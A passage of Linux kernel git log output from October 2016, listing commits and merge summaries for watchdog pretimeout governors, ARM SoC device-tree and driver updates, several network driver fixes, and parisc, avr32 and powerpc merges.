Zapolskiy Reviewed-by: Guenter Roeck Reviewed-by: Wolfram Sang Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/imx2_wdt.c | 48 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) commit 2accf320786210db92f36866cc71fa894f510a4a Author: Wolfram Sang Date: Fri Oct 7 15:41:38 2016 +0300 watchdog: softdog: implement pretimeout support Give devices which do not have hardware support for pretimeout at least a software version of it. Signed-off-by: Wolfram Sang Signed-off-by: Vladimir Zapolskiy Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/softdog.c | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) commit 89873a711dd20b614abb6e4038fb4b5462f4c701 Author: Vladimir Zapolskiy Date: Fri Oct 7 15:39:57 2016 +0300 watchdog: pretimeout: add pretimeout_available_governors attribute The change adds an option to a user with CONFIG_WATCHDOG_SYSFS and CONFIG_WATCHDOG_PRETIMEOUT_GOV enabled to get information about all registered watchdog pretimeout governors by reading watchdog device attribute named "pretimeout_available_governors". Signed-off-by: Vladimir Zapolskiy Reviewed-by: Guenter Roeck Reviewed-by: Wolfram Sang Tested-by: Wolfram Sang Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/watchdog_dev.c | 11 ++++++++++- drivers/watchdog/watchdog_pretimeout.c | 15 +++++++++++++++ drivers/watchdog/watchdog_pretimeout.h | 6 ++++++ 3 files changed, 31 insertions(+), 1 deletion(-) commit 53f96cee1aff74c8ee3c5f7a25df0c01d7117eeb Author: Vladimir Zapolskiy Date: Fri Oct 7 15:37:00 2016 +0300 watchdog: pretimeout: add option to select a pretimeout governor in runtime The change converts watchdog device attribute "pretimeout_governor" from read-only to read-write type to allow users to select a desirable watchdog pretimeout governor in runtime, e.g. % echo -n panic > /sys/..../watchdog/watchdog0/pretimeout To get this working a list of registered pretimeout governors is created and a new helper function watchdog_pretimeout_governor_set() is exported to watchdog_dev.c. If a selected governor is gone, a watchdog device pretimeout notification is delegated to a default built-in pretimeout governor. Signed-off-by: Vladimir Zapolskiy Reviewed-by: Guenter Roeck Reviewed-by: Wolfram Sang Tested-by: Wolfram Sang Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/watchdog_dev.c | 15 ++++++- drivers/watchdog/watchdog_pretimeout.c | 76 ++++++++++++++++++++++++++++++++++ drivers/watchdog/watchdog_pretimeout.h | 8 ++++ 3 files changed, 98 insertions(+), 1 deletion(-) commit da0d12ff2b829a35e9921918e925d79497b82bef Author: Vladimir Zapolskiy Date: Fri Oct 7 15:39:56 2016 +0300 watchdog: pretimeout: add panic pretimeout governor The change adds panic watchdog pretimeout governor, on watchdog pretimeout event the kernel shall panic. In general watchdog pretimeout event means that something essentially bad is going on the system, for example a process scheduler stalls or watchdog feeder is killed due to OOM, so printing out information attendant to panic and before likely unavoidable reboot caused by a watchdog may help to determine a root cause of the issue. Signed-off-by: Vladimir Zapolskiy Reviewed-by: Guenter Roeck Reviewed-by: Wolfram Sang Tested-by: Wolfram Sang Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/Kconfig | 14 ++++++++++ drivers/watchdog/Makefile | 1 + drivers/watchdog/pretimeout_panic.c | 47 ++++++++++++++++++++++++++++++++++ drivers/watchdog/watchdog_pretimeout.c | 6 ++--- drivers/watchdog/watchdog_pretimeout.h | 2 ++ 5 files changed, 66 insertions(+), 4 deletions(-) commit f77710c4cda01ad9c3672fb2f97bdea9a94da92a Author: Vladimir Zapolskiy Date: Fri Oct 7 15:39:55 2016 +0300 watchdog: pretimeout: add noop pretimeout governor The change adds noop watchdog pretimeout governor, only an informational message is printed to the kernel log buffer when a watchdog triggers a pretimeout event. While introducing the first pretimeout governor the selected design assumes that the default pretimeout governor is selected by its name and it is always built-in, thus the default pretimeout governor can not be unregistered and the correspondent check can be removed from the watchdog_unregister_governor() function. Signed-off-by: Vladimir Zapolskiy Reviewed-by: Guenter Roeck Reviewed-by: Wolfram Sang Tested-by: Wolfram Sang Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/Kconfig | 28 ++++++++++++++++++++ drivers/watchdog/Makefile | 2 ++ drivers/watchdog/pretimeout_noop.c | 47 ++++++++++++++++++++++++++++++++++ drivers/watchdog/watchdog_pretimeout.h | 4 +++ 4 files changed, 81 insertions(+) commit ff84136cb6a4943f489ad037fe93f43be0573c23 Author: Vladimir Zapolskiy Date: Fri Oct 7 15:39:54 2016 +0300 watchdog: add watchdog pretimeout governor framework The change adds a simple watchdog pretimeout framework infrastructure, its purpose is to allow users to select a desired handling of watchdog pretimeout events, which may be generated by some watchdog devices. A user selects a default watchdog pretimeout governor during compilation stage. Watchdogs with WDIOF_PRETIMEOUT capability now have one more device attribute in sysfs, pretimeout_governor attribute is intended to display the selected watchdog pretimeout governor. The framework has no impact at runtime on watchdog devices with no WDIOF_PRETIMEOUT capability set. Signed-off-by: Vladimir Zapolskiy Reviewed-by: Guenter Roeck Reviewed-by: Wolfram Sang Tested-by: Wolfram Sang Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck Documentation/watchdog/watchdog-kernel-api.txt | 13 +++ drivers/watchdog/Kconfig | 7 ++ drivers/watchdog/Makefile | 5 +- drivers/watchdog/watchdog_dev.c | 23 +++++ drivers/watchdog/watchdog_pretimeout.c | 131 +++++++++++++++++++++++++ drivers/watchdog/watchdog_pretimeout.h | 40 ++++++++ include/linux/watchdog.h | 13 +++ 7 files changed, 231 insertions(+), 1 deletion(-) commit b66484cd74706fa8681d051840fe4b18a3da40ff Merge: c913fc4 05fd007 Author: Linus Torvalds Date: Fri Oct 7 21:38:00 2016 -0700 Merge branch 'akpm' (patches from Andrew) Merge updates from Andrew Morton: - fsnotify updates - ocfs2 updates - all of MM * emailed patches from Andrew Morton : (127 commits) console: don't prefer first registered if DT specifies stdout-path cred: simpler, 1D supplementary groups CREDITS: update Pavel's information, add GPG key, remove snail mail address mailmap: add Johan Hovold .gitattributes: set git diff driver for C source code files uprobes: remove function declarations from arch/{mips,s390} spelling.txt: "modeled" is spelt correctly nmi_backtrace: generate one-line reports for idle cpus arch/tile: adopt the new nmi_backtrace framework nmi_backtrace: do a local dump_stack() instead of a self-NMI nmi_backtrace: add more trigger_*_cpu_backtrace() methods min/max: remove sparse warnings when they're nested Documentation/filesystems/proc.txt: add more description for maps/smaps mm, proc: fix region lost in /proc/self/smaps proc: fix timerslack_ns CAP_SYS_NICE check when adjusting self proc: add LSM hook checks to /proc//timerslack_ns proc: relax /proc//timerslack_ns capability requirements meminfo: break apart a very long seq_printf with #ifdefs seq/proc: modify seq_put_decimal_[u]ll to take a const char *, not char proc: faster /proc/*/status ... commit c913fc4146ba7c280e074558d0a461e5c6f07c8a Merge: a439f8f 8185041 Author: Linus Torvalds Date: Fri Oct 7 21:34:49 2016 -0700 Merge tag 'armsoc-late' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc Pull ARM SoC late DT updates from Arnd Bergmann: "These updates have been kept in a separate branch mostly because they rely on updates to the respective clk drivers to keep the shared header files in sync. - The Renesas r8a7796 (R-Car M3-W) platform gets added, this is an automotive SoC similar to the ⅹ8a7795 chip we already support, but the dts changes rely on a clock driver change that has been merged for v4.9 through the clk tree. - The Amlogic meson-gxbb (S905) platform gains support for a few drivers merged through our tree, in particular the network and usb driver changes are required and included here, and also the clk tree changes. - The Allwinner platforms have seen a large-scale change to their clk drivers and the dts file updates must come after that. This includes the newly added Nextthing GR8 platform, which is derived from sun5i/A13. - Some integrator (arm32) changes rely on clk driver changes. - A single patch for lpc32xx has no such dependency but wasn't added until just before the merge window" * tag 'armsoc-late' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc: (99 commits) ARM: dts: lpc32xx: add device node for IRAM on-chip memory ARM: dts: sun8i: Add accelerometer to polaroid-mid2407pxe03 ARM: dts: sun8i: enable UART1 for iNet D978 Rev2 board ARM: dts: sun8i: add pinmux for UART1 at PG dts: sun8i-h3: add I2C0-2 peripherals to H3 SOC dts: sun8i-h3: add pinmux definitions for I2C0-2 dts: sun8i-h3: associate exposed UARTs on Orange Pi Boards dts: sun8i-h3: split off RTS/CTS for UART1 in seperate pinmux dts: sun8i-h3: add pinmux definitions for UART2-3 ARM: dts: sun9i: a80-optimus: Disable EHCI1 ARM: dts: sun9i: cubieboard4: Add AXP806 PMIC device node and regulators ARM: dts: sun9i: a80-optimus: Add AXP806 PMIC device node and regulators ARM: dts: sun9i: cubieboard4: Declare AXP809 SW regulator as unused ARM: dts: sun9i: a80-optimus: Declare AXP809 SW regulator as unused ARM: dts: sun8i: Add touchscreen node for sun8i-a33-ga10h ARM: dts: sun8i: Add touchscreen node for sun8i-a23-polaroid-mid2809pxe04 ARM: dts: sun8i: Add touchscreen node for sun8i-a23-polaroid-mid2407pxe03 ARM: dts: sun8i: Add touchscreen node for sun8i-a23-inet86dz ARM: dts: sun8i: Add touchscreen node for sun8i-a23-gt90h ARM64: dts: meson-gxbb-vega-s95: Enable USB Nodes ... commit a439f8f2879c68676eb74501ef9a6f187aeeec57 Merge: 00e729c c1fd279 Author: Linus Torvalds Date: Fri Oct 7 21:32:39 2016 -0700 Merge tag 'armsoc-dt64' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc Pull ARM 64-bit DT updates from Arnd Bergmann: "The 64-bit DT changes are surprisingly small this time, we only add two SoC platforms: the ZTE ZX296718 Set-top-box SoC and the SocioNext UniPhier LD11 TV SoC, each with their reference boards. There are three new machines added for existing SoC platforms: - The Marvell Armada 8040 development board is an impressive quad-core Cortex-A72 machine with three 10gbit ethernet interfaces - Qualcomms DragonBoard 820c single-board computer is their current high-end phone platform in the 96boards form factor - Rockchip: Tronsmart Orion r86 set-top-box is a popular mid-range Android box based on the 8-core rk3368 SoC" * tag 'armsoc-dt64' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc: (91 commits) arm64: dts: berlin4ct: Add L2 cache topology arm64: dts: berlin4ct: enable all wdt nodes unconditionally arm64: dts: berlin4ct: switch to Cortex-A53 specific pmu nodes arm64: dts: Add ZTE ZX296718 SoC dts and Makefile arm64: dts: apm: Add DT node for APM X-Gene 2 CPU clocks arm64: dts: apm: Add X-Gene SoC hwmon to device tree arm64: dts: apm: Fix interrupt polarity for X-Gene PCIe legacy interrupts arm64: dts: apm: Add APM X-Gene v2 SoC PMU DTS entries arm64: dts: apm: Add APM X-Gene SoC PMU DTS entries arm64: dts: marvell: enable MSI for PCIe on Armada 7K/8K arm64: dts: ls2080a: Add 'dma-coherent' for ls2080a PCI nodes arm64: dts: rockchip: add Type-C phy for RK3399 arm64: dts: rockchip: enable the gmac for rk3399 evb board arm64: dts: rockchip: add the gmac needed node for rk3399 arm64: dts: rockchip: support the pmu node for rk3399 arm64: dts: rockchip: change all interrupts cells to 4 on rk3399 SoCs arm64: dts: rockchip: add the tcpc for rk3399 power domain arm64: dts: rockchip: add efuse0 device node for rk3399 arm64: dts: rockchip: configure PCIe support for rk3399-evb arm64: dts: rockchip: add the PCIe controller support for RK3399 ... commit 00e729c933950cda694c49260ff67855fdbfd00a Merge: 6afd563 adff807 Author: Linus Torvalds Date: Fri Oct 7 21:29:04 2016 -0700 Merge tag 'armsoc-dt' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc Pull ARM DT updates from Arnd Bergmann: "These are as usual a very large number of mostly boring updates to enable devices in existing machines, or to fix minor bugs. Notably, an ongoing treewide effort to fix warnings caused by an update to the device tree compiler. These are enabled with "make W=1" at the moment but can hopefully become the default once all issues have been addressed. No new SoC platform is added this time around (Armada 395 and Orion mv88f5181 are slight variations of existing ones), but a significant number of new dts files are added, which I list by platform: - Allwinner: Empire Electronix M712 and iNet d978 Rev2 tablets, Orange Pi PC Plus, Orange Pi 2, Orange Pi Plus 2E, Orange Pi Lite, Olimex A33-Olinuxino, and Nano Pi Neo single-board computers - ARM Realview: all supported machines (ported from board files) - Broadcom: BCM958525er, BCM958522er, BCM988312hr, BCM958623hr and BCM958622hr reference boards for Northstar platform, Raspberry Pi Zero single-board computer - Marvell EBU: Netgear WNR854T router (ported from board file), Armada 395 SoC platform and GP board Armada 390 DB development board - NXP i.MX: imx7s Warp7 reference board, Gateworks Ventana GW553x single-board computer, Technologic Systems TS-4900 and Engicam IMX6UL GEA M6UL computer-on-module, Inverse Path USB armory board - Qualcomm: LG Nexus 5 Phone - Renesas: r8a7792/wheat and r7s72100/rskrza1 development boards - Rockchip: Rockchip RK3288 Fennec reference board, Firefly RK3288 Reload platform - ST Microelectronics STi: B2260 (96boards) single-board computer - TI Davinci: OMAP-L138 LCDK Development kit - TI OMAP: beagleboard-x15 rev B1 single-board computer" * tag 'armsoc-dt' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc: (390 commits) ARM: dts: sony-nsz-gs7: add missing unit name to /memory node ARM: dts: chromecast: add missing unit name to /memory node ARM: dts: berlin2q-marvell-dmp: add missing unit name to /memory node ARM: dts: berlin2: Add missing unit name to /soc node ARM: dts: berlin2cd: Add missing unit name to /soc node ARM: dts: berlin2q: Add missing unit name to /soc node ARM: dts: berlin2: Remove skeleton.dtsi inclusion ARM: dts: berlin2cd: Remove skeleton.dtsi inclusion ARM: dts: berlin2q: Remove skeleton.dtsi inclusion arm: dts: berlin2q: enable all wdt nodes unconditionally arm: dts: berlin2: enable all wdt nodes unconditionally ARM: dts: omap5-igep0050.dts: Use tabs for indentation ARM: dts: Fix igepv5 power button GPIO direction ARM: dts: am335x-evmsk: Add blue-and-red-wiring -property to lcdc node ARM: dts: am335x-evmsk: Whitespace cleanup of lcdc related nodes ARM: dts: am335x-evm: Add blue-and-red-wiring -property to lcdc node ARM: dts: s3c64xx: Use macros for pinctrl configuration ARM: dts: s3c2416: Use macros for pinctrl configuration ARM: dts: s5pv210: Use macros for pinctrl configuration ARM: dts: s3c64xx: Use common macros for pinctrl configuration ... commit 6afd563d4bbc1924b7de9e053324c007e0d36476 Merge: b4f33f6 d6db68b Author: Linus Torvalds Date: Fri Oct 7 21:23:40 2016 -0700 Merge tag 'armsoc-drivers' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc Pull ARM SoC driver updates from Arnd Bergmann: "Driver updates for ARM SoCs, including a couple of newly added drivers: - The Qualcomm external bus interface 2 (EBI2), used in some of their mobile phone chips for connecting flash memory, LCD displays or other peripherals - Secure monitor firmware for Amlogic SoCs, and an NVMEM driver for the EFUSE based on that firmware interface. - Perf support for the AppliedMicro X-Gene performance monitor unit - Reset driver for STMicroelectronics STM32 - Reset driver for SocioNext UniPhier SoCs Aside from these, there are minor updates to SoC-specific bus, clocksource, firmware, pinctrl, reset, rtc and pmic drivers" * tag 'armsoc-drivers' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc: (50 commits) bus: qcom-ebi2: depend on HAS_IOMEM pinctrl: mvebu: orion5x: Generalise mv88f5181l support for 88f5181 clk: mvebu: Add clk support for the orion5x SoC mv88f5181 dt-bindings: EXYNOS: Add Exynos5433 PMU compatible clocksource: exynos_mct: Add the support for ARM64 perf: xgene: Add APM X-Gene SoC Performance Monitoring Unit driver Documentation: Add documentation for APM X-Gene SoC PMU DTS binding MAINTAINERS: Add entry for APM X-Gene SoC PMU driver bus: qcom: add EBI2 driver bus: qcom: add EBI2 device tree bindings rtc: rtc-pm8xxx: Add support for pm8018 rtc nvmem: amlogic: Add Amlogic Meson EFUSE driver firmware: Amlogic: Add secure monitor driver soc: qcom: smd: Reset rx tail rather than tx memory: atmel-sdramc: fix a possible NULL dereference reset: hi6220: allow to compile test driver on other architectures reset: zynq: add driver Kconfig option reset: sunxi: add driver Kconfig option reset: stm32: add driver Kconfig option reset: socfpga: add driver Kconfig option ... commit b4f33f6ddd0c218e12454e1379de3aaa73f2e8dc Merge: 5acb605 a119a2c Author: Linus Torvalds Date: Fri Oct 7 21:22:01 2016 -0700 Merge tag 'armsoc-arm64' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc Pull ARM SoC 64-bit updates from Arnd Bergmann: "Changes to platform code for 64-bit ARM platforms. Nearly all of these are defconfig updates to enable new drivers or old drivers still used on these 64-bit platforms. Aside from that, we gain initial support for two set-top-box platforms, both of which already have 32-bit support in arch/arm: - Broadcom adds abstract support for the bcm7xxx/brcmstb platform, presumably the respective dts files and more information will follow at a later point. - The ZTE ZX296718 SoC for set-top-boxes, a relative of the 32-bit ZX296702 SoC that we already support" * tag 'armsoc-arm64' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc: arm64: add ZTE ZX SoC family arm64: defconfig: enable ZTE ZX related config arm64: defconfig: enable common modules for power management arm64: defconfig: enable meson I2C arm64: defconfig: enable meson SPI as module arm64: defconfig: enable meson WDT as modules arm64: defconfig: enable HW random as module arm64: defconfig: Enable SDHI and GPIO_REGULATOR arm64: configs: enable PCIe driver for Aardvark Kconfig: ARCH_HISI: Add PINCTRL to HISI platform arm64: defconfig: enable bluetooth supports as modules arm64: defconfig: enable CONFIG_INPUT_HISI_POWERKEY for HiKey arm64: defconfig: Enable HiSilicon kirin drm, adv7533 for HiKey arm64: defconfig: Enable Hisi SAS and HNS arm64: defconfig: Enable QDF2432 config options arm64: sunxi: Kconfig: add essential pinctrl driver arm64: defconfig: Add Renesas R-Car HSUSB driver support as module arm64: Add Broadcom Set Top Box Kconfig entry point arm64: defconfig: enable xhci-platform commit 5acb6052ce304d89e36f599f1e27a7c63d389ca0 Merge: 66f2c6d 3f0958d Author: Linus Torvalds Date: Fri Oct 7 21:20:33 2016 -0700 Merge tag 'armsoc-defconfig' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc Pull ARM SoC defconfig updates from Arnd Bergmann: "Defconfig additions, removals, etc. Most of these are small changes adding the options for newly upstreamed drivers, or drivers needed for new board support. Nothing specifically sticks out this time" * tag 'armsoc-defconfig' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc: (25 commits) ARM: multi_v7_defconfig: enable CONFIG_EFI ARM: multi_v7_defconfig: Build Atmel maXTouch driver as a module ARM: defconfig: update the Integrator defconfig ARM: keystone: defconfig: Fix USB configuration ARM: imx_v6_v7_defconfig: Select the wm8960 codec driver ARM: omap2plus_defconfig: switch to the IIO BMP085 driver ARM: mvebu_v5_defconfig: use MV88E6XXX ARM: davinci_all_defconfig: Enable some UBI modules ARM: davinci_all_defconfig: Enable AEMIF as a module ARM: multi_v7_defconfig: Enable SECCOMP ARM: exynos_defconfig: Enable SECCOMP ARM: imx_v6_v7_defconfig: Add CONFIG_MPL3115 ARM: imx_v6_v7_defconfig: Enable GPU support ARM: s3c2410_defconfig: Remove CONFIG_IPV6_PRIVACY ARM: exynos_defconfig: Enable PM_DEBUG ARM: exynos_defconfig: Enable bus frequency scaling with devfreq ARM: imx_v6_v7_defconfig: enable more USB configurations ARM: davinci_all_defconfig: enable SMSC ethernet PHY ARM: davinci_all_defconfig: enable RTC driver as module ARM: multi_v7_defconfig: Enable ARM_IMX6Q_CPUFREQ ... commit 66f2c6d9525baa7534640f09f406cd2987e0f287 Merge: a771151 e40454d Author: Linus Torvalds Date: Fri Oct 7 21:18:42 2016 -0700 Merge tag 'armsoc-soc' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc Pull ARM SoC platform updates from Arnd Bergmann: "These are updates for platform specific code on 32-bit ARM machines, essentially anything that can not (yet) be expressed using DT files. Noteworthy changes include: - We get support for running in big-endian mode on two platforms: sunxi (Allwinner) and s3c24xx (old Samsung). - The recently added Uniphier platform now uses standard PSCI methods for SMP booting and we remove support for old bootloader versions that did not support it yet. - In sunxi, we gain support for the "Nextthing GR8" SoC, which is a close relative of the Allwinner A13 and R8 chips. - PXA completes its move over to the generic dmaengine framework and removes its old private API - mach-bcm gains support for BCM47189/BCM53573, their first ARM SoC with integrated 802.11ac wireless networking" * tag 'armsoc-soc' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc: (54 commits) ARM: imx legacy: pca100: move peripheral initialization to .init_late ARM: imx legacy: mx27ads: move peripheral initialization to .init_late ARM: imx legacy: mx21ads: move peripheral initialization to .init_late ARM: imx legacy: pcm043: move peripheral initialization to .init_late ARM: imx legacy: mx35-3ds: move peripheral initialization to .init_late ARM: imx legacy: mx27-3ds: move peripheral initialization to .init_late ARM: imx legacy: imx27-visstrim-m10: move peripheral initialization to .init_late ARM: imx legacy: vpr200: move peripheral initialization to .init_late ARM: imx legacy: mx31moboard: move peripheral initialization to .init_late ARM: imx legacy: armadillo5x0: move peripheral initialization to .init_late ARM: imx legacy: qong: move peripheral initialization to .init_late ARM: imx legacy: mx31-3ds: move peripheral initialization to .init_late ARM: imx legacy: pcm037: move peripheral initialization to .init_late ARM: imx legacy: mx31lilly: move peripheral initialization to .init_late ARM: imx legacy: mx31ads: move peripheral initialization to .init_late ARM: imx legacy: mx31lite: move peripheral initialization to .init_late ARM: imx legacy: kzm: move peripheral initialization to .init_late MAINTAINERS: update list of Oxnas maintainers ARM: orion5x: remove extraneous NO_IRQ ARM: orion: simplify orion_ge00_switch_init ... commit a771151a8323a5ca81f443a9a439851b8a872c85 Merge: 997b611 e13688f Author: Linus Torvalds Date: Fri Oct 7 21:16:16 2016 -0700 Merge tag 'armsoc-cleanup' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc Pull ARM SoC cleanups from Arnd Bergmann: "The cleanups for v4.9 are a little larger that usual, but thankfully that is almost exclusively due to removing a significant number of files that have become obsolete after the still ongoing conversion of old board files to devicetree. - for mach-omap2, which is still the largest platform in arch/arm/, the conversion to DT is finally complete after the Nokia N900 is now fully supported there, along with the omap3 LDP, and we can remove those two board files. If no regressions are found, another large cleanup for the platform will happen as a follow-up, removing dead code and restructuring the platform based on being DT-only. - In mach-imx, similar work is ongoing, but has not come that far. This time, we remove the obsolete board file for the i.MX1 generation, which like i.MX25, i.MX5, i.MX6, and i.MX7 is now DT-only. The remaining board files are for i.MX2 and i.MX3 machines based on old ARM926 or ARM1136 cores that should work with DT in principle. - realview has just been converted from board files to DT, and a lot of code gets removed in the process. This is the last ARM/Keil/Versatile derived platform that was still using board files, the other ones being integrator, versatile and vexpress. We can probably merge the remaining code into a single directory in the near future. - clps711x had completed the conversion in v4.8, but we accidentally left the files in place that should have been deleted then" * tag 'armsoc-cleanup' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc: (21 commits) ARM: select PCI_DOMAINS config from ARCH_MULTIPLATFORM ARM: stop *MIGHT_HAVE_PCI* config from being selected redundantly ARM: imx: (trivial) fix typo and grammar ARM: clps711x: remove extraneous files ARM: imx: use IS_ENABLED() instead of checking for built-in or module ARM: OMAP2+: use IS_ENABLED() instead of checking for built-in or module ARM: OMAP1: use IS_ENABLED() instead of checking for built-in or module ARM: imx: remove platform-mxc_rnga ARM: realview: imply device tree boot ARM: realview: no need to select SMP_ON_UP explicitly ARM: realview: delete the RealView board files ARM: imx: no need to select SMP_ON_UP explicitly ARM: i.MX: Move SOC_IMX1 into 'Device tree only' ARM: i.MX: Remove i.MX1 non-DT support ARM: i.MX: Remove i.MX1 Synertronixx SCB9328 board support ARM: i.MX: Remove i.MX1 Armadeus APF9328 board support ARM: mxs: remove obsolete startup code for TX28 ARM: i.MX31 iomux: remove duplicates with alternate name ARM: i.MX31 iomux: remove plain duplicates ARM: OMAP2+: Drop legacy board file for LDP ... commit 776482cd8d8af063878ed22a1a0d44e4c6238a94 Author: Christophe Jaillet Date: Fri Oct 7 22:58:47 2016 +0200 wan/fsl_ucc_hdlc: Fix size used in dma_free_coherent() Size used with 'dma_alloc_coherent()' and 'dma_free_coherent()' should be consistent. Here, the size of a pointer is used in dma_alloc... and the size of the pointed structure is used in dma_free... This has been spotted with coccinelle, using the following script: //////////////////// @r@ expression x0, x1, y0, y1, z0, z1, t0, t1, ret; @@ * ret = dma_alloc_coherent(x0, y0, z0, t0); ... * dma_free_coherent(x1, y1, ret, t1); @script:python@ y0 << r.y0; y1 << r.y1; @@ if y1.find(y0) == -1: print "WARNING: sizes look different: '%s' vs '%s'" % (y0, y1) //////////////////// Signed-off-by: Christophe JAILLET Signed-off-by: David S. Miller drivers/net/wan/fsl_ucc_hdlc.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit fa6114d4bde70152765ba1c35fed4fcd8481faf6 Author: Nathan Sullivan Date: Fri Oct 7 10:13:22 2016 -0500 net: macb: NULL out phydev after removing mdio bus To ensure the dev->phydev pointer is not used after becoming invalid in mdiobus_unregister, set it to NULL. This happens when removing the macb driver without first taking its interface down, since unregister_netdev will end up calling macb_close. Signed-off-by: Xander Huff Signed-off-by: Nathan Sullivan Signed-off-by: Brad Mouring Reviewed-by: Moritz Fischer Acked-by: Nicolas Ferre Signed-off-by: David S. Miller drivers/net/ethernet/cadence/macb.c | 1 + 1 file changed, 1 insertion(+) commit 912e27e85e070596ed4964ebde29fa9781390f2a Author: Paul Durrant Date: Fri Oct 7 09:32:31 2016 +0100 xen-netback: make sure that hashes are not send to unaware frontends In the case when a frontend only negotiates a single queue with xen- netback it is possible for a skbuff with a s/w hash to result in a hash extra_info segment being sent to the frontend even when no hash algorithm has been configured. (The ndo_select_queue() entry point makes sure the hash is not set if no algorithm is configured, but this entry point is not called when there is only a single queue). This can result in a frontend that is unable to handle extra_info segments being given such a segment, causing it to crash. This patch fixes the problem by clearing the hash in ndo_start_xmit() instead, which is clearly guaranteed to be called irrespective of the number of queues. Signed-off-by: Paul Durrant Cc: Wei Liu Acked-by: Wei Liu Signed-off-by: David S. Miller drivers/net/xen-netback/interface.c | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) commit 21d9629a7abd87512d062fbe57b04a1baedf93d2 Author: Alex Sidorenko Date: Fri Oct 7 09:02:33 2016 -0400 Fixing a bug in team driver due to incorrect 'unsigned int' to 'int' conversion Roundrobin runner of team driver uses 'unsigned int' variable to count the number of sent_packets. Later it is passed to a subroutine team_num_to_port_index(struct team *team, int num) as 'num' and when we reach MAXINT (2**31-1), 'num' becomes negative. This leads to using incorrect hash-bucket for port lookup and as a result, packets are dropped. The fix consists of changing 'int num' to 'unsigned int num'. Testing of a fixed kernel shows that there is no packet drop anymore. Signed-off-by: Alex Sidorenko Signed-off-by: David S. Miller include/linux/if_team.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 997b611baf7591ea5119539ee821a3e2f4fcf24e Merge: 2c34ff1 690d097 Author: Linus Torvalds Date: Fri Oct 7 20:50:37 2016 -0700 Merge branch 'parisc-4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux Pull parisc updates from Helge Deller: "Changes include: - Fix boot of 32bit SMP kernel (initial kernel mapping was too small) - Added hardened usercopy checks - Drop bootmem and switch to memblock and NO_BOOTMEM implementation - Drop the BROKEN_RODATA config option (and thus remove the relevant code from the generic headers and files because parisc was the last architecture which used this config option) - Improve segfault reporting by printing human readable error strings - Various smaller changes, e.g. dwarf debug support for assembly code, update comments regarding copy_user_page_asm, switch to kmalloc_array()" * 'parisc-4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux: parisc: Increase KERNEL_INITIAL_SIZE for 32-bit SMP kernels parisc: Drop bootmem and switch to memblock parisc: Add hardened usercopy feature parisc: Add cfi_startproc and cfi_endproc to assembly code parisc: Move hpmc stack into page aligned bss section parisc: Fix self-detected CPU stall warnings on Mako machines parisc: Report trap type as human readable string parisc: Update comment regarding implementation of copy_user_page_asm parisc: Use kmalloc_array() in add_system_map_addresses() parisc: Check return value of smp_boot_one_cpu() parisc: Drop BROKEN_RODATA config option commit 7d3cfc36ec3aae1d37a13fbe257f31141eb772b4 Author: Paul Durrant Date: Fri Oct 7 11:33:37 2016 +0100 MAINTAINERS: add myself as a maintainer of xen-netback Signed-off-by: Paul Durrant Cc: Wei Liu Acked-by: Wei Liu Signed-off-by: David S. Miller MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 2c34ff14bf1d03a705f5400888ecac5b6400e981 Merge: 07021b4 9a2950f Author: Linus Torvalds Date: Fri Oct 7 20:48:45 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/egtvedt/linux-avr32 Pull avr32 update from Hans-Christian Noren Egtvedt. * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/egtvedt/linux-avr32: avr32: migrate exception table users off module.h and onto extable.h commit cb4a4c691e8631089759fc5d1faf8d6ccf581497 Author: Maciej Żenczykowski Date: Fri Oct 7 01:00:49 2016 -0700 ipv6 addrconf: disallow rtr_solicits < -1 This disallows setting /proc/sys/net/ipv6/conf/*/router_solicitations to values below -1. -1 continues to mean an unlimited number of retransmits. Note: this depends on 'ipv6 addrconf: remove addrconf_sysctl_hop_limit()' Signed-off-by: Maciej Żenczykowski Signed-off-by: David S. Miller net/ipv6/addrconf.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 07021b43597f506cc525d139ed1a94e79cf184f2 Merge: d1f5323 b7b7013 Author: Linus Torvalds Date: Fri Oct 7 20:19:31 2016 -0700 Merge tag 'powerpc-4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux Pull powerpc updates from Michael Ellerman: "Highlights: - Major rework of Book3S 64-bit exception vectors (Nicholas Piggin) - Use gas sections for arranging exception vectors et. al. - Large set of TM cleanups and selftests (Cyril Bur) - Enable transactional memory (TM) lazily for userspace (Cyril Bur) - Support for XZ compression in the zImage wrapper (Oliver O'Halloran) - 